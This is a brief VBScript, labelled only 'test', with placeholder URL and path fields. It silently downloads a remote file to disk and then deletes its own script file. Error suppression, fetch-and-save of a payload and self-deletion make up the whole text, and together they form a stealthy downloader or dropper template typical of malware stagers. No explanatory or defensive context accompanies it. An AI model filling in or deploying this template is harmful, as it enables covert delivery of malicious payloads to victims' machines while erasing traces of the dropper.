test

On Error Resume Next
Set args = WScript.Arguments
Url = "URL-HERE"
dim xHttp: Set xHttp = createobject("MSXML2.SERVERXMLHTTP.6.0")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile "PATH-HERE", 2
end with
Err.Clear
Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile Wscript.ScriptFullName, True